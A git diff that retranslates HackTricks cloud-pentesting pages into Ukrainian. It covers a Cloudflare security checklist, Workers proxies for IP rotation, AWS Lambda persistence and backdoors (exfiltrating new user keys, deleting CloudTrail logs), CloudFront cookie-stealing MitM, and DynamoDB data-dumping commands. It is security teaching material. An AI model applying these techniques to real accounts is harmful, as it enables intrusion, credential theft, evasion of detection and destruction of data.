diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index ef7f49b5d..c541b0703 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -1,14 +1,14 @@
-# Cloudflare Security
+# Cloudflare Безпека
{{#include ../../banners/hacktricks-training.md}}
-В обліковому записі Cloudflare є декілька загальних налаштувань та сервісів, які можна сконфігурувати. На цій сторінці ми збираємося проаналізувати налаштування, пов'язані з безпекою, для кожного розділу:
+У обліковому записі Cloudflare є деякі **загальні налаштування та сервіси**, які можна конфігурувати. На цій сторінці ми збираємось **аналізувати налаштування, що стосуються безпеки, у кожному розділі:**
## Websites
-Перевіряйте кожен з:
+Перевірте кожен з:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
-- [ ] У розділі **`Transfer Domains`** перевірити, що неможливо передати (transfer) жоден домен.
+- [ ] У **`Transfer Domains`** перевірте, що неможливо передати домен.
-Перевіряйте кожен з:
+Перевірте кожен з:
{{#ref}}
cloudflare-domains.md
@@ -26,35 +26,35 @@ cloudflare-domains.md
## Analytics
-_Я не знайшов нічого для перевірки під час конфігураційного огляду безпеки._
+_Я не знайшов нічого, що варто перевіряти для огляду конфігурації безпеки._
## Pages
У кожній сторінці Cloudflare:
-- [ ] Перевірити наявність **чутливої інформації** у **`Build log`**.
-- [ ] Перевірити наявність **чутливої інформації** в репозиторії Github, прив'язаному до pages.
-- [ ] Перевірити можливий компроміс github repo через **workflow command injection** або компроміс `pull_request_target`. Більше інформації на сторінці [**Github Security page**](../github-security/index.html).
-- [ ] Перевірити наявність вразливих функцій у каталозі `/fuctions` (якщо є), перевірити **redirects** у файлі `_redirects` (якщо є) та **misconfigured headers** у файлі `_headers` (якщо є).
-- [ ] Перевірити наявність **вразливостей** у веб-сторінці за допомогою **blackbox** або **whitebox**, якщо доступний код.
-- [ ] У деталях кожної сторінки `//pages/view/blocklist/settings/functions` перевірити наявність **чутливої інформації** в **`Environment variables`**.
-- [ ] На сторінці деталей також перевірити **build command** та **root directory** на предмет потенційних ін'єкцій для компрометації сторінки.
+- [ ] Перевірте наявність **чутливої інформації** у **`Build log`**.
+- [ ] Перевірте **чутливу інформацію** в **Github repository**, прив'язаному до pages.
+- [ ] Перевірте можливу компрометацію github repo через **workflow command injection** або `pull_request_target`. Детальніше на [**Github Security page**](../github-security/index.html).
+- [ ] Перевірте наявність вразливих функцій у каталозі `/fuctions` (якщо є), перевірте **redirects** у файлі `_redirects` (якщо є) та **misconfigured headers** у файлі `_headers` (якщо є).
+- [ ] Перевірте на **вразливості** веб-сторінку за допомогою **blackbox** або **whitebox**, якщо маєте доступ до коду.
+- [ ] У деталях кожної сторінки `//pages/view/blocklist/settings/functions`. Перевірте **чутливу інформацію** у **`Environment variables`**.
+- [ ] На сторінці деталей також перевірте **build command** та **root directory** на предмет потенційних ін'єкцій для компрометації сторінки.
## **Workers**
-У кожного Cloudflare worker перевірити:
+У кожного Cloudflare worker перевірте:
-- [ ] Тригер: що викликає worker? Чи може **користувач відправити дані**, які будуть **використані** worker?
-- [ ] У **`Settings`** перевірити **`Variables`** на наявність **чутливої інформації**
-- [ ] Переглянути **код worker** та шукати **вразливості** (особливо в місцях, де користувач може контролювати ввід)
-- Перевірити SSRF, що повертає вказану сторінку, яку ви можете контролювати
-- Перевірити XSS, що виконує JS всередині svg-зображення
-- Можливо, worker взаємодіє з іншими внутрішніми сервісами. Наприклад, worker може звертатися до R2 bucket і зберігати туди інформацію, отриману з вводу. У такому випадку потрібно перевірити, які права має worker щодо R2 bucket і як це можна зловживати через користувацький ввід.
+- [ ] Тригери: що запускає worker? Чи може **користувач відправляти дані**, які будуть **використані** worker?
+- [ ] У **`Settings`** перевірте **`Variables`**, що містять **чутливу інформацію**
+- [ ] Перевірте **код worker** і шукайте **вразливості** (особливо в місцях, де користувач може впливати на вхідні дані)
+- Перевірте SSRFs, що повертають вказану сторінку, якою ви можете керувати
+- Перевірте XSSs, що виконують JS всередині svg зображення
+- Можливо, worker взаємодіє з іншими внутрішніми сервісами. Наприклад, worker може працювати з R2 bucket, зберігаючи в ньому інформацію, отриману з input. У такому випадку потрібно перевірити, які можливості має worker щодо R2 bucket і як це можна зловживати через вхідні дані користувача.
> [!WARNING]
> Note that by default a **Worker is given a URL** such as `..workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
-Для практичного зловживання Workers як pass-through proxy (IP rotation, FireProx-style) див.:
+Для практичного зловживання Workers як pass-through проксі (IP rotation, FireProx-style), перевірте:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -62,9 +62,9 @@ cloudflare-workers-pass-through-proxy-ip-rotation.md
## R2
-У кожному R2 bucket перевірити:
+У кожному R2 bucket перевірте:
-- [ ] Налаштувати **CORS Policy**.
+- [ ] Налаштуйте **CORS Policy**.
## Stream
@@ -76,8 +76,8 @@ TODO
## Security Center
-- [ ] Якщо можливо, запустити скан **`Security Insights`** та скан **`Infrastructure`**, оскільки вони можуть виділити цікаву інформацію з точки зору безпеки.
-- [ ] Перевірити цю інформацію на предмет misconfigurations та цікавих деталей
+- [ ] Якщо можливо, запустіть **`Security Insights`** **scan** та **`Infrastructure`** **scan**, оскільки вони виділять цікаву інформацію з точки зору **безпеки**.
+- [ ] Просто **перегляньте цю інформацію** на предмет неправильних налаштувань безпеки та цікавої інформації
## Turnstile
@@ -94,12 +94,12 @@ cloudflare-zero-trust-network.md
> [!NOTE]
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
-- [ ] Перевірити, що **expressions** та **requirements** для redirect-ів мають сенс.
-- [ ] Також перевірити наявність **чутливих прихованих endpoint-ів**, які можуть містити цікаву інформацію.
+- [ ] Перевірте, чи **вирази** та **умови** для редіректів **мають сенс**.
+- [ ] Також перевірте наявність **чутливих прихованих endpoint-ів**, які можуть містити цікаву інформацію.
## Notifications
-- [ ] Перевірити **notifications.** Ці сповіщення рекомендовані для безпеки:
+- [ ] Перевірте **notifications.** Ці повідомлення рекомендовані для безпеки:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
@@ -119,16 +119,16 @@ cloudflare-zero-trust-network.md
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
-- [ ] Перевірити всі **destinations**, оскільки у webhook URL-ах може бути **чутлива інформація** (basic http auth). Також переконатися, що webhook URLs використовують **HTTPS**
-- [ ] Як додаткову перевірку, можна спробувати **імітувати cloudflare notification** для третьої сторони — можливо, вдасться щось інжектувати небезпечне
+- [ ] Перевірте всі **destinations**, оскільки у webhook urls може міститися **чутлива інформація** (basic http auth). Також переконайтесь, що webhook urls використовують **HTTPS**
+- [ ] Додатково можна спробувати **сприскати себе за Cloudflare notification** до третьої сторони, можливо ви зможете якимось чином **інжектувати щось небезпечне**
## Manage Account
-- [ ] У **`Billing` -> `Payment info`** можна побачити **останні 4 цифри кредитної картки**, **строк дії** та **платіжну адресу**.
-- [ ] У **`Billing` -> `Subscriptions`** можна побачити тип плану, що використовується в обліковому записі.
-- [ ] У **`Members`** можна побачити всіх членів облікового запису та їхні **ролі**. Зауважте, що якщо план не Enterprise, існує лише 2 ролі: Administrator та Super Administrator. Але якщо використовується **Enterprise** план, можна застосовувати [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) для принципу мінімальних привілеїв.
-- Тому, коли це можливо, **рекомендовано** використовувати **Enterprise plan**.
-- [ ] У Members можна перевірити, які **members** мають увімкнений **2FA**. **Усі** користувачі повинні мати його увімкненим.
+- [ ] У **`Billing` -> `Payment info`** можна побачити останні 4 цифри кредитної картки, дату **expiration** та **billing address**.
+- [ ] У **`Billing` -> `Subscriptions`** можна побачити **plan type**, що використовується в обліковому записі.
+- [ ] У **`Members`** можна побачити всіх учасників облікового запису та їхні **role**. Зауважте, що якщо план не Enterprise, існують лише 2 ролі: Administrator та Super Administrator. Але якщо використовується **plan Enterprise**, можна використовувати [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) для дотримання принципу найменших привілеїв.
+- Тому, де можливо, **рекомендується** використовувати **Enterprise plan**.
+- [ ] У Members можна перевірити, які **members** мають увімкнений **2FA**. **Кожен** користувач повинен його мати увімкненим.
> [!NOTE]
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
diff --git a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
index 34fa3c0fc..86e38eaae 100644
--- a/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
+++ b/src/pentesting-ci-cd/cloudflare-security/cloudflare-workers-pass-through-proxy-ip-rotation.md
@@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
-Cloudflare Workers можуть бути розгорнуті як прозорі HTTP pass-through proxies, де upstream target URL надається клієнтом. Запити виходять з мережі Cloudflare, тому ціль бачить Cloudflare IPs замість IP клієнта. Це відображає відомий метод FireProx на AWS API Gateway, але використовує Cloudflare Workers.
+Cloudflare Workers можна розгорнути як прозорі HTTP pass-through проксі, де upstream target URL надається клієнтом. Запити виходять із мережі Cloudflare, тому ціль бачить Cloudflare IPs замість IP клієнта. Це віддзеркалює відому техніку FireProx на AWS API Gateway, але використовує Cloudflare Workers.
### Ключові можливості
-- Підтримка всіх HTTP методів (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
-- Ціль може бути передана через query-параметр (?url=...), заголовок (X-Target-URL) або навіть закодована в шляху (наприклад, /https://target)
-- Заголовки та тіло проксируються з фільтрацією hop-by-hop/header за потреби
-- Відповіді пересилаються назад, збереженням статус-коду та більшості заголовків
-- За бажанням підміна X-Forwarded-For (якщо Worker встановлює його з заголовка, контрольованого користувачем)
-- Надзвичайно швидке/просте обертання шляхом розгортання кількох Worker endpoint-ів і розгалуження запитів
+- Підтримка всіх HTTP-методів (GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD)
+- Ціль можна передати через query-параметр (?url=...), заголовок (X-Target-URL) або навіть закодувати в шляху (наприклад, /https://target)
+- Заголовки та тіло проксуються із фільтрацією hop-by-hop/заголовків за потреби
+- Відповіді пересилаються назад, збережено статус-код і більшість заголовків
+- Опціональне підроблення X-Forwarded-For (якщо Worker встановлює його з керованого користувачем заголовка)
+- Надзвичайно швидка/проста ротація через деплой кількох Worker endpoints і розподіл запитів
-### Як це працює (потік)
-1) Клієнт надсилає HTTP-запит на URL Worker (`..workers.dev` або маршрут на власному домені).
-2) Worker витягує ціль або з query-параметра (?url=...), заголовка X-Target-URL, або сегмента шляху, якщо реалізовано.
-3) Worker пересилає вхідний метод, заголовки та тіло на вказаний upstream URL (фільтруючи проблемні заголовки).
-4) Відповідь upstream транслюється назад клієнту через Cloudflare; origin бачить Cloudflare egress IPs.
+### How it works (flow)
+1) Клієнт відправляє HTTP-запит на Worker URL (`..workers.dev` або маршрут на кастомному домені).
+2) Worker витягує ціль з query-параметра (?url=...), заголовка X-Target-URL або сегмента шляху, якщо реалізовано.
+3) Worker пересилає вхідний метод, заголовки та тіло до вказаного upstream URL (з фільтрацією проблемних заголовків).
+4) Відповідь upstream стримується назад до клієнта через Cloudflare; origin бачить Cloudflare egress IPs.
-### Приклад реалізації Worker
+### Worker implementation example
- Читає target URL з query-параметра, заголовка або шляху
-- Копіює безпечний піднабір заголовків і пересилає оригінальний метод/тіло
-- За бажанням встановлює X-Forwarded-For з заголовка, контрольованого користувачем (X-My-X-Forwarded-For), або випадкової IP-адреси
-- Додає помірно дозволений CORS і оброблює preflight
+- Копіює безпечну підмножину заголовків і пересилає оригінальний метод/тіло
+- Опційно встановлює X-Forwarded-For, використовуючи керований користувачем заголовок (X-My-X-Forwarded-For) або випадкову IP
+- Додає ліберальну CORS-політику та обробляє preflight
-Приклад Worker (JavaScript) для pass-through proxying
+Приклад Worker (JavaScript) для pass-through проксування
```javascript
/**
* Minimal Worker pass-through proxy
@@ -135,10 +135,10 @@ function randomIP() { return [1,2,3,4].map(() => Math.floor(Math.random()*255)+1
### Автоматизація розгортання та ротації за допомогою FlareProx
-FlareProx — інструмент на Python, який використовує Cloudflare API для deploy великої кількості Worker endpoints і rotate між ними. Це забезпечує FireProx-like IP rotation із мережі Cloudflare.
+FlareProx — це інструмент на Python, який використовує Cloudflare API для розгортання багатьох Worker endpoints і ротації між ними. Це забезпечує FireProx-like IP rotation з мережі Cloudflare.
Налаштування
-1) Створіть Cloudflare API Token, використовуючи шаблон “Edit Cloudflare Workers”, і отримайте ваш Account ID у панелі керування.
+1) Створіть Cloudflare API Token, використавши шаблон “Edit Cloudflare Workers”, і отримайте свій Account ID із панелі керування.
2) Налаштуйте FlareProx:
```bash
git clone https://github.com/MrTurvey/flareprox
@@ -160,11 +160,11 @@ pip install -r requirements.txt
```bash
python3 flareprox.py create --count 2
```
-- Перелічити endpoints:
+- Перелік endpoints:
```bash
python3 flareprox.py list
```
-- Ендпоїнти перевірки працездатності (health-test):
+- Ендпоінти перевірки стану:
```bash
python3 flareprox.py test
```
@@ -172,7 +172,7 @@ python3 flareprox.py test
```bash
python3 flareprox.py cleanup
```
-**Routing traffic through a Worker**
+**Маршрутизація трафіку через Worker**
- Форма параметра запиту:
```bash
curl "https://your-worker.account.workers.dev?url=https://httpbin.org/ip"
@@ -204,7 +204,7 @@ curl -X DELETE \
```
**`X-Forwarded-For` контроль**
-Якщо Worker враховує `X-My-X-Forwarded-For`, ви можете впливати на upstream значення заголовка `X-Forwarded-For`:
+Якщо Worker враховує `X-My-X-Forwarded-For`, ви можете впливати на значення `X-Forwarded-For`, яке буде передано upstream:
```bash
curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
"https://your-worker.account.workers.dev?url=https://httpbin.org/headers"
@@ -214,7 +214,7 @@ curl -H "X-My-X-Forwarded-For: 203.0.113.10" \
Використовуйте бібліотеку FlareProx для створення/переліку/тестування endpoints та маршрутизації запитів з Python.
-Приклад Python: надіслати POST через випадковий Worker endpoint
+Приклад на Python: Надіслати POST через випадковий Worker endpoint
```python
#!/usr/bin/env python3
from flareprox import FlareProx, FlareProxError
@@ -267,17 +267,17 @@ print(f"Request error: {e}")
```
-**Інтеграція Burp/Scanner**
-- Вкажіть інструментам (наприклад, Burp Suite) Worker URL.
-- Передайте реальний upstream, використовуючи ?url= або X-Target-URL.
-- HTTP semantics (methods/headers/body) зберігаються, при цьому ваш вихідний IP маскується за Cloudflare.
+**Burp/Scanner integration**
+- Налаштуйте інструменти (наприклад, Burp Suite) на Worker URL.
+- Надайте реальний upstream, використовуючи ?url= або X-Target-URL.
+- HTTP semantics (methods/headers/body) зберігаються, одночасно маскуючи ваш вихідний IP за Cloudflare.
**Операційні нотатки та обмеження**
- Cloudflare Workers Free plan дозволяє приблизно 100,000 запитів/день на акаунт; використовуйте кілька endpoints для розподілу трафіку за потреби.
-- Workers запускаються в мережі Cloudflare; багато цілей бачитимуть лише Cloudflare IPs/ASN, що може обійти наївні списки дозволених/заборонених IP або гео-евристику.
-- Використовуйте відповідально і лише з дозволу. Дотримуйтесь ToS і robots.txt.
+- Workers працюють в мережі Cloudflare; багато цілей бачитимуть лише Cloudflare IPs/ASN, що може обійти наївні списки дозволених/заборонених IP або geo heuristics.
+- Використовуйте відповідально і тільки з авторизацією. Дотримуйтесь ToS та robots.txt.
-## Джерела
+## Посилання
- [FlareProx (Cloudflare Workers pass-through/rotation)](https://github.com/MrTurvey/flareprox)
- [Cloudflare Workers fetch() API](https://developers.cloudflare.com/workers/runtime-apis/fetch/)
- [Cloudflare Workers pricing and free tier](https://developers.cloudflare.com/workers/platform/pricing/)
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index f48427419..5e2b141fc 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Persistence
+# AWS - Lambda Персистентність
{{#include ../../../../banners/hacktricks-training.md}}
@@ -10,33 +10,33 @@
../../aws-services/aws-lambda-enum.md
{{#endref}}
-### Lambda Layer Persistence
+### Персистентність Lambda Layer
-It's possible to **introduce/backdoor a layer to execute arbitrary code** when the lambda is executed in a stealthy way:
+Можна **впровадити/backdoor layer для виконання довільного коду** під час виконання Lambda у прихований спосіб:
{{#ref}}
aws-lambda-layers-persistence.md
{{#endref}}
-### Lambda Extension Persistence
+### Персистентність Lambda Extension
-Abusing Lambda Layers it's also possible to abuse extensions and persist in the lambda but also steal and modify requests.
+Зловживаючи Lambda Layers, також можна зловживати extensions для персистенції в Lambda, а також викрадення й модифікації запитів.
{{#ref}}
aws-abusing-lambda-extensions.md
{{#endref}}
-### Via resource policies
+### Через resource policies
-It's possible to grant access to different lambda actions (such as invoke or update code) to external accounts:
+Можна надати доступ до різних дій Lambda (наприклад invoke або update code) зовнішнім акаунтам:
-### Versions, Aliases & Weights
+### Версії, Aliases & Ваги
-A Lambda can have **different versions** (with different code each version).\
-Then, you can create **different aliases with different versions** of the lambda and set different weights to each.\
-This way an attacker could create a **backdoored version 1** and a **version 2 with only the legit code** and **only execute the version 1 in 1%** of the requests to remain stealth.
+Lambda може мати **різні версії** (кожна версія з різним кодом).\
+Потім ви можете створити **різні aliases, що вказують на різні версії** Lambda і призначити різні weights для кожного.\
+Таким чином атакуючий може створити **backdoored версію 1** і **версію 2 лише з легітимним кодом**, і **виконувати версію 1 лише в 1%** запитів, щоб залишатися непомітним.
@@ -54,24 +54,24 @@ This way an attacker could create a **backdoored version 1** and a **version 2 w
### Cron/Event actuator
-The fact that you can make **lambda functions run when something happen or when some time pass** makes lambda a nice and common way to obtain persistence and avoid detection.\
-Here you have some ideas to make your **presence in AWS more stealth by creating lambdas**.
+Факт того, що ви можете змусити **Lambda functions запускатися при певних подіях або через певний інтервал часу**, робить Lambda популярним способом для отримання персистентності і уникнення виявлення.\
+Ось кілька ідей, щоб зробити вашу **присутність в AWS більш непомітною шляхом створення Lambdas**.
-- Every time a new user is created lambda generates a new user key and send it to the attacker.
-- Every time a new role is created lambda gives assume role permissions to compromised users.
-- Every time new cloudtrail logs are generated, delete/alter them
+- Кожного разу при створенні нового користувача Lambda генерує новий user key і надсилає його атакуючому.
+- Кожного разу при створенні нової ролі Lambda надає права assume role скомпрометованим користувачам.
+- Кожного разу при створенні нових CloudTrail логів — видаляти/змінювати їх
### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers
-Abuse the environment variable `AWS_LAMBDA_EXEC_WRAPPER` to execute an attacker-controlled wrapper script before the runtime/handler starts. Deliver the wrapper via a Lambda Layer at `/opt/bin/htwrap`, set `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, and then invoke the function. The wrapper runs inside the function runtime process, inherits the function execution role, and finally `exec`s the real runtime so the original handler still executes normally.
+Зловживайте змінною середовища `AWS_LAMBDA_EXEC_WRAPPER`, щоб виконати скрипт-обгортку, контрольований атакуючим, перед стартом runtime/handler. Доставте обгортку через Lambda Layer у `/opt/bin/htwrap`, встановіть `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, а потім викличте функцію. Обгортка запускається всередині процесу runtime функції, успадковує роль виконання функції і нарешті `exec`-ує реальний runtime, тому оригінальний handler все ще виконується нормально.
{{#ref}}
aws-lambda-exec-wrapper-persistence.md
{{#endref}}
-### AWS - Lambda Function URL Public Exposure
+### AWS - Lambda Function URL: публічний доступ
-Abuse Lambda asynchronous destinations together with the Recursion configuration to make a function continually re-invoke itself with no external scheduler (no EventBridge, cron, etc.). By default, Lambda terminates recursive loops, but setting the recursion config to Allow re-enables them. Destinations deliver on the service side for async invokes, so a single seed invoke creates a stealthy, code-free heartbeat/backdoor channel. Optionally throttle with reserved concurrency to keep noise low.
+Зловживайте асинхронними destinations Lambda разом з конфігурацією Recursion, щоб змусити функцію постійно перевикликати саму себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda припиняє рекурсивні цикли, але встановлення recursion config в Allow знову їх дозволяє. Destinations доставляють на стороні сервісу для async invokes, тож один seed invoke створює прихований, безкодовий heartbeat/backdoor канал. Опційно обмежте через reserved concurrency, щоб знизити шум.
{{#ref}}
aws-lambda-async-self-loop-persistence.md
@@ -79,19 +79,19 @@ aws-lambda-async-self-loop-persistence.md
### AWS - Lambda Alias-Scoped Resource Policy Backdoor
-Create a hidden Lambda version with attacker logic and scope a resource-based policy to that specific version (or alias) using the `--qualifier` parameter in `lambda add-permission`. Grant only `lambda:InvokeFunction` on `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` to an attacker principal. Normal invocations via the function name or primary alias remain unaffected, while the attacker can directly invoke the backdoored version ARN.
+Створіть приховану версію Lambda з логікою атакуючого і застосуйте resource-based policy до цієї конкретної версії (або alias) за допомогою параметра `--qualifier` в `lambda add-permission`. Наділіть лише `lambda:InvokeFunction` на `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` для принципалу атакуючого. Звичайні виклики через ім'я функції або головний alias залишаються без змін, тоді як атакуючий може безпосередньо викликати backdoored версію за ARN.
-This is stealthier than exposing a Function URL and doesn’t change the primary traffic alias.
+Це більш приховано, ніж відкривати Function URL, і не змінює основний alias трафіку.
{{#ref}}
aws-lambda-alias-version-policy-backdoor.md
{{#endref}}
-### Freezing AWS Lambda Runtimes
+### Заморожування AWS Lambda Runtimes
-An attacker who has lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig, and lambda:GetRuntimeManagementConfig permissions can modify a function’s runtime management configuration. This attack is especially effective when the goal is to keep a Lambda function on a vulnerable runtime version or to preserve compatibility with malicious layers that might be incompatible with newer runtimes.
+Атакуючий, який має дозволи lambda:InvokeFunction, logs:FilterLogEvents, lambda:PutRuntimeManagementConfig та lambda:GetRuntimeManagementConfig, може змінити конфігурацію runtime management функції. Ця атака особливо ефективна, коли метою є утримати Lambda функцію на вразливій версії runtime або зберегти сумісність зі шкідливими layers, які можуть бути несумісні з новішими runtimes.
-The attacker modifies the runtime management configuration to pin the runtime version:
+Атакуючий змінює конфігурацію runtime management, щоб зафіксувати версію runtime:
```bash
# Invoke the function to generate runtime logs
aws lambda invoke \
@@ -113,7 +113,7 @@ aws lambda get-runtime-management-config \
--function-name $TARGET_FN \
--region us-east-1
```
-Необов'язково: зафіксувати конкретну версію середовища виконання (runtime)
+Необов'язково: зафіксувати конкретну версію runtime
```bash
# Extract Runtime Version ARN from INIT_START logs
RUNTIME_ARN=$(aws logs filter-log-events \
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
index 479e348ba..2dad2c980 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation/README.md
@@ -11,9 +11,9 @@
{{#endref}}
### `cloudfront:Delete*`
-Зловмисник, якому надано право cloudfront:Delete*, може видаляти distributions, policies та інші критично важливі об'єкти конфігурації CDN — наприклад distributions, cache/origin policies, key groups, origin access identities, functions/configs та суміжні ресурси. Це може спричинити перебої в роботі сервісу, втрату контенту та видалення конфігурації або судово-технічних артефактів.
+Атакувальник, якому надано cloudfront:Delete*, може видаляти distributions, policies та інші критичні об'єкти конфігурації CDN — наприклад distributions, cache/origin policies, key groups, origin access identities, functions/configs, і пов'язані ресурси. Це може призвести до порушення роботи сервісу, втрати контенту та видалення конфігураційних або судових артефактів.
-Щоб видалити distribution, зловмисник може скористатися:
+Щоб видалити distribution, атакувальник може використати:
```bash
aws cloudfront delete-distribution \
--id \
@@ -21,20 +21,20 @@ aws cloudfront delete-distribution \
```
### Man-in-the-Middle
-This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додано (або змінено, якщо його вже використовують) у комунікацію через **CloudFront** з метою викрадення інформації користувача (наприклад, сесійного **cookie**) та модифікації **response** (впровадження шкідливого **JS** скрипту).
+This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) пропонує кілька різних сценаріїв, де **Lambda** може бути додано (або змінено, якщо вона вже використовується) у **communication through CloudFront** з метою **stealing** інформації користувача (наприклад сесійного **cookie**) та **modifying** **response** (injecting a malicious JS script).
-#### сценарій 1: MitM де CloudFront налаштовано для доступу до деякого HTML у bucket
+#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
-- **Створіть** шкідливу **функцію**.
-- **Прив'яжіть** її до дистрибуції **CloudFront**.
-- **Встановіть тип події на "Viewer Response"**.
+- **Створіть** зловмисну **function**.
+- **Прив'яжіть** її до CloudFront distribution.
+- Встановіть **event type to "Viewer Response"**.
-Отримавши доступ до **response**, ви можете викрасти **cookie** користувача та впровадити шкідливий **JS** скрипт.
+Отримавши доступ до response, ви можете вкрасти cookie користувача та inject шкідливий JS.
-#### сценарій 2: MitM, коли CloudFront вже використовує lambda function
+#### scenario 2: MitM where CloudFront is already using a lambda function
-- **Змініть код** **lambda function**, щоб викрасти чутливу інформацію
+- **Змініть код** lambda function щоб steal sensitive information
-Ви можете переглянути the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
+Ви можете переглянути [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
index 6770fd9eb..3b1317c04 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
@@ -12,7 +12,7 @@
### `dynamodb:BatchGetItem`
-Attacker з цими дозволами зможе **get items from tables by the primary key** (ви не можете просто запросити всі дані таблиці). Це означає, що вам потрібно знати primary keys (їх можна отримати, отримавши table metadata (`describe-table`).
+Атакувальник з цими дозволами зможе **отримувати елементи з таблиць за первинним ключем** (ви не можете просто запитати всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (їх можна дізнатися, отримавши метадані таблиці (`describe-table`).
{{#tabs }}
{{#tab name="json file" }}
@@ -43,11 +43,11 @@ aws dynamodb batch-get-item \
{{#endtab }}
{{#endtabs }}
-**Потенційний вплив:** Indirect privesc шляхом виявлення конфіденційної інформації в таблиці
+**Potential Impact:** Опосередковане privesc через знаходження чутливої інформації в таблиці
### `dynamodb:GetItem`
-**Подібно до попередніх дозволів** цей дозволяє потенційному зловмиснику прочитати значення лише з 1 таблиці, маючи первинний ключ запису, який потрібно отримати:
+**Подібно до попередніх дозволів** цей дозволяє потенційному нападнику читати значення лише з 1 таблиці за наявності первинного ключа запису, який потрібно отримати:
```json
aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
@@ -58,7 +58,7 @@ aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json
}
}
```
-З цим дозволом також можливо використати метод **`transact-get-items`** наступним чином:
+З цим дозволом також можливо використовувати метод **`transact-get-items`** наступним чином:
```json
aws dynamodb transact-get-items \
--transact-items file:///tmp/a.json
@@ -75,11 +75,11 @@ aws dynamodb transact-get-items \
}
]
```
-**Потенційний вплив:** Косвений privesc шляхом знаходження конфіденційної інформації в таблиці
+**Можливий вплив:** Indirect privesc шляхом знаходження конфіденційної інформації в таблиці
### `dynamodb:Query`
-**Аналогічно до попередніх дозволів** цей дозвол дає потенційному зловмиснику можливість читати значення лише з однієї таблиці за умови надання первинного ключа запису для отримання. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який повинен бути вказаний), — "EQ", тому ви не можете використати порівняння, щоб отримати всю базу даних в одному запиті.
+**Подібно до попередніх дозволів** цей дозвіл дозволяє потенційному нападнику читати значення лише з однієї таблиці за наявності первинного ключа запису для отримання. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, дозволене для первинного ключа (який має бути вказаним) — "EQ", тож ви не можете використати порівняння, щоб отримати всю базу даних в одному запиті.
{{#tabs }}
{{#tab name="json file" }}
@@ -107,19 +107,19 @@ aws dynamodb query \
{{#endtab }}
{{#endtabs }}
-**Потенційний вплив:** Опосередковане privesc шляхом знаходження конфіденційної інформації в таблиці
+**Можливий вплив:** Непрямий privesc шляхом знаходження конфіденційної інформації в таблиці
### `dynamodb:Scan`
-Ви можете використати цей дозвіл, щоб **dump the entire table easily**.
